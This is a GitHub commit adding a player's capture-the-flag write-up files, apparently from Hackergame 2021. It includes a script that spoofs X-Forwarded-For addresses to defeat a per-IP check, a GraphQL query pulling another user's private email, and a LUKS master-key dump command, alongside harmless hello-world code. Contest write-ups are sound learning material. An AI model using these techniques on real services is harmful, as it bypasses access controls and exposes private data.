Skip to content

Commit b276b3b

Browse files
committed
Add Testla's write-up
1 parent 0087b60 commit b276b3b

File tree

24 files changed

+1190
-0
lines changed

24 files changed

+1190
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,7 @@
9999
| [tl2cents](players/tl2cents/README.md) [博客](https://tl2cents.github.io/2021/10/31/Hackgame2021/) | 总排名第 70 | FLAG 助力大红包,图之上的信息,Easy RSA,马赛克,Minecraft,超 OI 的 Writeup 模拟器(前两问) |
100100
| [EarthC](players/EarthC/) | 总排名第 26 名 | 灯,等灯等灯, 超 OI 的 Writeup 模拟器(部分) |
101101
| [cvhc](players/cvhc/README.md) | 总排名第 13 名 | 阵列恢复大师,马赛克,Amnesia,只读文件系统,minecRaft,Micro World,fzuu,密码生成器,一石二鸟,p😭q |
102+
| [Testla](players/Testla/) | 总排名第 43 名 | 签到、进制十六——参上、去吧!追寻自由的电波、猫咪问答 Pro Max、卖瓜、透明的文件、旅行照片、FLAG 助力大红包、Amnesia - 轻度失忆、图之上的信息、加密的 U 盘、赛博厨房 - Level0, Level1、Co-Program - Co-UnitTest、马赛克、minecRaft、p😭q、超 OI 的 Writeup 模拟器 - 果然还是逆向比较简单 |
102103

103104
## 其他资源
104105

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
import requests
2+
import time
3+
4+
5+
def main() -> None:
6+
d = {
7+
'sessionid': '<Redacted>',
8+
'csrftoken': '<Redacted>',
9+
'session': '<Redacted>',
10+
}
11+
with requests.Session() as s:
12+
s.cookies.update(d)
13+
for first_segment in range(2 ** 8):
14+
ip = f'{first_segment}.0.0.1'
15+
headers = {
16+
'Content-Type': 'application/x-www-form-urlencoded',
17+
'X-Forwarded-For': ip,
18+
}
19+
r = s.post(
20+
'http://202.38.93.111:10888/invite/<Redacted>',
21+
headers=headers,
22+
data={
23+
'ip': ip,
24+
}
25+
)
26+
print(*filter(lambda l: '地址' in l, r.text.splitlines()))
27+
time.sleep(1.1)
28+
29+
if __name__ == '__main__':
30+
main()

players/Testla/09-Amnesia/Amnesia-1.c

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <stdio.h>
2+
3+
int main(void) {
4+
putchar('H');
5+
putchar('e');
6+
putchar('l');
7+
putchar('l');
8+
putchar('o');
9+
putchar(',');
10+
putchar(' ');
11+
putchar('w');
12+
putchar('o');
13+
putchar('r');
14+
putchar('l');
15+
putchar('d');
16+
putchar('!');
17+
return 0;
18+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
const char main[] = {
2+
0x55, // push %ebp
3+
0x89, 0xe5, // mov %esp,%ebp
4+
0x56, // push %esi
5+
0x53, // push %ebx
6+
0xe8, 0x28, 0x00, 0x00, 0x00, // call 11bb <__x86.get_pc_thunk.ax>
7+
0x05, 0x6d, 0x2e, 0x00, 0x00, // add $0x2e6d,%eax
8+
0x8d, 0xb0, 0x2d, 0x00, 0x00, 0x00, // lea 0x2D(%eax),%esi
9+
0xb8, 0x04, 0x00, 0x00, 0x00, // mov $0x4,%eax
10+
0xbb, 0x01, 0x00, 0x00, 0x00, // mov $0x1,%ebx
11+
0x89, 0xf1, // mov %esi,%ecx
12+
0xba, 0x0e, 0x00, 0x00, 0x00, // mov $0xe,%edx
13+
0xcd, 0x80, // int $0x80
14+
0xb8, 0x00, 0x00, 0x00, 0x00, // mov $0x0,%eax
15+
0x90, // nop
16+
0x5b, // pop %ebx
17+
0x5e, // pop %esi
18+
0x5d, // pop %ebp
19+
0xc3, // ret
20+
// 000011bb <__x86.get_pc_thunk.ax>:
21+
0x8b, 0x04, 0x24, // mov (%esp),%eax
22+
0xc3, // ret
23+
0x90, // nop
24+
// "Hello, world\n"
25+
0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x21, 0x0a
26+
//0xb8, 0x00, 0x00, 0x00, 0x00, // mov $0x0,%eax
27+
//0xc3, // ret
28+
//0x90, // nop
29+
//0x90, // nop
30+
//0x90, // nop
31+
//0x90, // nop
32+
};
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
const char message[] = "Hello, world!\n";
2+
3+
void main(void) {
4+
asm(
5+
// https://lwn.net/Articles/604515/
6+
// syscall number
7+
// https://elixir.bootlin.com/linux/v3.14/source/arch/x86/syscalls/syscall_32.tbl#L12
8+
"mov $4, %%eax;\n\t"
9+
// fd of stdout
10+
"mov $1, %%ebx;\n\t"
11+
// buffer
12+
"mov %[message], %%ecx;\n\t"
13+
// length
14+
"mov $14, %%edx;\n\t"
15+
// do syscall
16+
"int $0x80;\n\t"
17+
// return 0
18+
"mov $0, %%eax;\n\t"
19+
:
20+
: [message] "r" (message)
21+
: "%eax", "%ebx", "%ecx", "%edx"
22+
);
23+
}

players/Testla/09-Amnesia/normal.c

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#include <unistd.h>
2+
3+
int main(void) {
4+
//write(0x55, 0xabcd, 0x77);
5+
write(1, "Hello, world!\n", 13);
6+
}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
void main() {
2+
__asm__ (
3+
// print Hello World
4+
//"movl $1, %eax;\n" /* 1 is the syscall number for write */
5+
"mov $1, %rax;\n" /* 1 is the syscall number for write */
6+
//"movl $1, %ebx;\n" /* 1 is stdout and is the first argument */
7+
"mov $1, %rdi;\n" /* 1 is stdout and is the first argument */
8+
// "movl $message, %esi;\n" /* load the address of string into the second argument*/
9+
// instead use this to load the address of the string
10+
// as 16 bytes from the current instruction
11+
//"leal 16(%eip), %esi;\n"
12+
"lea 18(%rip), %rsi;\n"
13+
//"movl $13, %edx;\n" /* third argument is the length of the string to print*/
14+
"mov $13, %rdx;\n" /* third argument is the length of the string to print*/
15+
"syscall;\n"
16+
// call exit (so it doesn't try to run the string Hello World
17+
// maybe I could have just used ret instead
18+
"movl $60,%eax;\n"
19+
"xorl %ebx,%ebx; \n"
20+
"syscall;\n"
21+
// Store the Hello World inside the main function
22+
"message: .ascii \"Hello World!\\n\";"
23+
);
24+
}
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
import requests
2+
3+
def main() -> None:
4+
d = {
5+
'sessionid': '<Redacted>',
6+
'csrftoken': '<Redacted>',
7+
'session': '<Redacted>',
8+
}
9+
with requests.Session() as s:
10+
s.cookies.update(d)
11+
r = s.post(
12+
'http://202.38.93.111:15001/graphql',
13+
json={
14+
# 'query': '{ notes(userId: 2) { id\ncontents }}'
15+
'query': '{ user(id: 1) { privateEmail } }'
16+
# 'query': '{ __schema { types { name } } }'
17+
# 'query': '{ __type(name: "GUser") { name,fields { name,type { name,kind } } } }'
18+
}
19+
)
20+
print(r.text)
21+
22+
if __name__ == '__main__':
23+
main()
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# https://stackoverflow.com/a/32281245
2+
from http.cookies import SimpleCookie as sc
3+
c = sc()
4+
c.load('session=...')
5+
d = {}
6+
for key, morsel in c.items():
7+
d[key] = morsel.value
8+
print(d)
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/bash
2+
3+
mapdevice="/dev/mapper/$(sudo kpartx -va day1.img | sed -E 's/.*(loop[0-9]+p[0-9]+).*/\1/g' | head -1)"
4+
sudo cryptsetup luksDump --dump-master-key $mapdevice
5+
sudo kpartx -d $mapdevice

0 commit comments

Comments
 (0)